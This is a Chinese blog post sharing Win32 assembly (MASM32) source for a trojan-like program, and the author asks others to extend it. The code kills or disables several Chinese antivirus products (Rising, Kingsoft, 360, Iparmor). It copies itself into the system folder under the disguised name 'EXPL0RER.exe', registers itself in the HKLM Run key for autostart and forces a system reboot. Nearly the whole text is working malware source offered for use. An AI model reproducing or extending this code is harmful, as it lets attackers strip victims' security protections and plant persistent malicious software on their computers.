最近一直在忙于毕业设计的事,没多少时间写东西,好不容易抽点空写了下面的代码,希望能给喜欢编程的朋友做个参考。
以下代码主要实现的是关闭常用杀毒软件功能(现在的流行病毒和木马一般都带有这样的功能),其次是修改注册表、自我复制、重启系统。
由于很多杀毒软件都使用了HOOK OpenProcess()方法,所以瑞星采用了向窗口发消息的形式关闭监控,而卡巴的消息通知码未能找到,所以本代码无法关闭卡巴(还望高手指点)。
代码中使用的ExitWindowsEx()函数的参数已经说明,有兴趣的朋友根据自己需要自作修改。
这种方式是我个人无聊乱写的,不知道是否还有更好的方法,还望请高手指点!
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hInstance dd ?
ovi OSVERSIONINFO <>
tkp TOKEN_PRIVILEGES <>
hToken dd ?
szSystemPath db MAX_PATH dup (?) ;系统路径
szMyPath db MAX_PATH dup (?) ;自身路径
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szShut db "SeShutdownPrivilege",0
szKeyAutoRun db "Software/Microsoft/Windows/CurrentVersion/Run",0
szFileName db "EXPL0RER.exe",0
szTitle db "你好!",0
szDisposal db "无心温馨提示你!",0dh,0ah
db "你今天心情好吗?",0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;安全软件进程相关
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szRsing db "#32770",0 ;瑞星窗口类名
szAVP db "AVP.exe",0 ;卡巴进程名(这里并不能关闭卡巴,只是写在这里,希望高手完成之)
szKAV db "KAVStart.exe",0 ;金山进程名
sz360tray db "360Tray.exe",0 ;360进程名
szIparmor db "Iparmor.exe",0 ;木马克星进程名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;获得调试权限
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Popedom proc
mov ovi.dwOSVersionInfoSize,sizeof ovi
invoke GetVersionEx,addr ovi
.if ovi.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke GetCurrentProcess
invoke OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES+TOKEN_QUERY,addr hToken
invoke LookupPrivilegeValue,NULL,addr szShut,addr tkp.Privileges[0].Luid
mov tkp.PrivilegeCount,1
mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
invoke AdjustTokenPrivileges,hToken,FALSE,addr tkp,0,NULL,0
.endif
ret
_Popedom endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;关闭瑞星监控
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CloseRsing proc
local @hWindows
local @szClassName[20]:byte
invoke GetForegroundWindow
invoke GetWindow,eax,GW_HWNDFIRST
.while eax
mov ebx,eax
invoke GetClassName,ebx,addr @szClassName,20
invoke lstrcmpi,addr @szClassName,addr szRsing
.if eax == 0
invoke PostMessage,ebx,WM_COMMAND,40027,NULL
invoke PostMessage,ebx,WM_COMMAND,2775,NULL
invoke PostMessage,ebx,WM_COMMAND,32776,NULL
.endif
invoke GetWindow,ebx,GW_HWNDNEXT
.endw
ret
_CloseRsing endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;扫描并关闭几个安全软件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CloseDefendsoftware proc
local @stProcessROCESSENTRY32
local @hSnapShot
invoke RtlZeroMemory,addr @stProcess,sizeof @stProcess
mov @stProcess.dwSize,sizeof @stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov @hSnapShot,eax
invoke Process32First,@hSnapShot,addr @stProcess
.while eax
lea esi,szAVP
.while TRUE
invoke lstrcmpi,addr @stProcess.szExeFile,esi
.if eax == 0
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,@stProcess.th32ProcessID
.if eax
mov ebx,eax
invoke TerminateProcess,ebx,-1
invoke CloseHandle,ebx
invoke Sleep,200
.endif
.endif
@@:
lodsb
or al,al
jnz @B
.break .if ! byte ptr [esi+1]
.endw
invoke Process32Next,@hSnapShot,addr @stProcess
.endw
ret
_CloseDefendsoftware endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;拷贝自己到系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CopyMeToSystem proc uses ebx esi edi
invoke GetSystemDirectory,addr szSystemPath,MAX_PATH ;获得系统目录
;>>>>>>目录最后加上"/"
invoke lstrlen,addr szSystemPath
lea ebx,szSystemPath
add ebx,eax
xor eax,eax
mov al,'/'
.if byte ptr [ebx-1] != al
mov word ptr [ebx],ax
.endif
invoke lstrcat,addr szSystemPath,addr szFileName
invoke GetModuleFileName,NULL,addr szMyPath,MAX_PATH ;获得自己的当前目录
invoke CopyFile,addr szMyPath,addr szSystemPath,FALSE ;拷贝自身到系统路径
ret
_CopyMeToSystem endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改注册表将自己设为开机自启动
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegAmend proc
local @hKey,@mValue
local @szBuffer[MAX_PATH]:byte
;将自己设置为自启动/
invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr szKeyAutoRun,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szFileName,NULL,REG_SZ,/
addr szSystemPath,sizeof szSystemPath
.endif
ret
_RegAmend endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;关机
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Shutdown proc
;ExitWindwosEx第一参数说明:
;EWX_REBOOT:系统重启
;EWX_SHUTDOWN:关机
;EWX_LOGOFF:注销
;EWX_POWEROFF:待机
invoke ExitWindowsEx,EWX_REBOOT,NULL
ret
_Shutdown endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke _Popedom ;获得系统权限
invoke Sleep,500
invoke _CloseRsing ;关闭瑞星监控
invoke _CloseDefendsoftware ;关闭几个常用安全软件
invoke Sleep,500
invoke _CopyMeToSystem
invoke _RegAmend
invoke MessageBox,NULL,addr szDisposal,addr szTitle,MB_YESNO
.if eax == IDYES
ret
.endif
call _Shutdown
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Win32汇编关闭防护软件
最新推荐文章于 2024-05-14 20:24:57 发布